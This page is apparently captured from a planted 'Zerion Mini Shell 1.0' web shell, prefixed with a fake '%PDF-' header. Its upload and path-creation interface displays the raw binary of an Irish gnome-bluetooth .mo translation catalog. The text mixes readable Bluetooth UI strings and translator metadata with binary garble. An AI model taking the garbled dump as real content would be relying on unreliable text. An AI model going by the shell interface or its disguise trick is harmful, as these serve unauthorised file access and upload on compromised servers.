%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/ga/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/ga/LC_MESSAGES/gnome-bluetooth2.mo

��GTa�$;RY,a����	�����.AHb
ky�
���
���	��
�,�'%/U\ekqv~������$� 	$	
=	H	^	
v	�	�	�	�	�	�	�		�	�	�	�	�	�	
�	.
�/
0�@�=9w~H������


)
A
\
x
�
"�

�

�
�
�
�

�

(3
HV	Z6d�/�����
+8I	NX	s)}&����3F
R]dm	u��	�����l�/$#,1>@-; ?':!	6G(C&%B8<97F)E
"A3250
+*D=.4%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s'0000' (most headsets, mice and GPS devices)'1111''1234'ADDRESSAll categoriesAll typesAn unknown error occurredAudio deviceBluetooth Device SetupBluetooth File TransferBluetooth New Device SetupBluetooth TransferCameraClick to select device...ComputerConnecting...Custom PIN:DeviceDevice SearchDevice SetupDevice _category:Device _type:DevicesFinishing SetupFixed PINFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetInput devices (mice, keyboards, etc.)JoypadKeyboardModemMouseNAMENetworkNo adapters availablePIN OptionsPIN _options...PhonePrinterSearching for devices...SelectSelect the device category to filterSelect the device type to filterSend files via BluetoothSending %sSending file %d of %dSetup Bluetooth devicesSetup SummaryShow:TabletTo:TrustedTypeUnknownVideo device[FILE...]_Automatic PIN selection_Cancel_Quit_Retry_Send_Try Againapproximately %'d hourapproximately %'d hoursProject-Id-Version: gnome-bluetooth.master
Report-Msgid-Bugs-To: 
PO-Revision-Date: 2013-09-03 19:52-0600
Last-Translator: Seán de Búrca <leftmostcat@gmail.com>
Language-Team: Irish <gaeilge-gnulinux@lists.sourceforge.net>
Language: ga
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=5; plural=n==1 ? 0 : n==2 ? 1 : n<7 ? 2 : n<11 ? 3 : 4;
%'d uair%'d uair%'d uaire%'d n-uaire%'d uair%d nóiméad%d nóiméad%d nóiméad%d nóiméad%d nóiméad%'d soicind%'d shoicind%'d shoicind%'d soicind%'d soicind%d B/s%d kB/s'0000' (an chuid is mó de ghléasanna cinn, lucha agus ghléasanna GPS)'1111''1234'SEOLADHGach catagóirGach cineálTharla earráid anaithnidGléas fuaimeSocrú Gléis BluetoothAistriú Comhaid BluetoothSocrú Gléis Nua BluetoothAistriú BluetoothCeamaraCliceáil chun gléas a roghnú...RíomhaireÁ Nasc...UAP saincheaptha:GléasCuardach GléisSocrú Gléis_Catagóir ghléis:C_ineál gléis:GléasannaSocrú á ChriochnúUAP SocraitheÓ:CluasáinCluasáin, gléasanna cinn agus gléasanna fuaime eileGléas cinnGléasanna ionchuir (lucha, méarchláir, srl.)Ceap stiúrthaMéarchlárMóideimLuchAINMLíonraNíl aon chuibhneoir ar fáilRoghanna UAP_Roghanna UAP...FónPrintéirGléasanna á gcuardach...RoghnaighRoghnaigh an catagóir ghléis le scagadhRoghnaigh an cineál gléis le scagadhSeol comhaid trí Bluetooth%s á sheoladhComhad %d as %d á sheoladhSocraigh gléasanna BluetoothAchoimre SocraitheTaispeáin:TáibléadChuig:IontaofaCineálAnaithnidGléas físe[COMHAD...]Roghnú _uathoibríoch UAP_Cealaigh_Scoir_Atriail_Seol_Bain Triail Eile Astimpeall is %'d uairtimpeall is %'d uairtimpeall is %'d uairetimpeall is %'d n-uairetimpeall is %'d uair

Zerion Mini Shell 1.0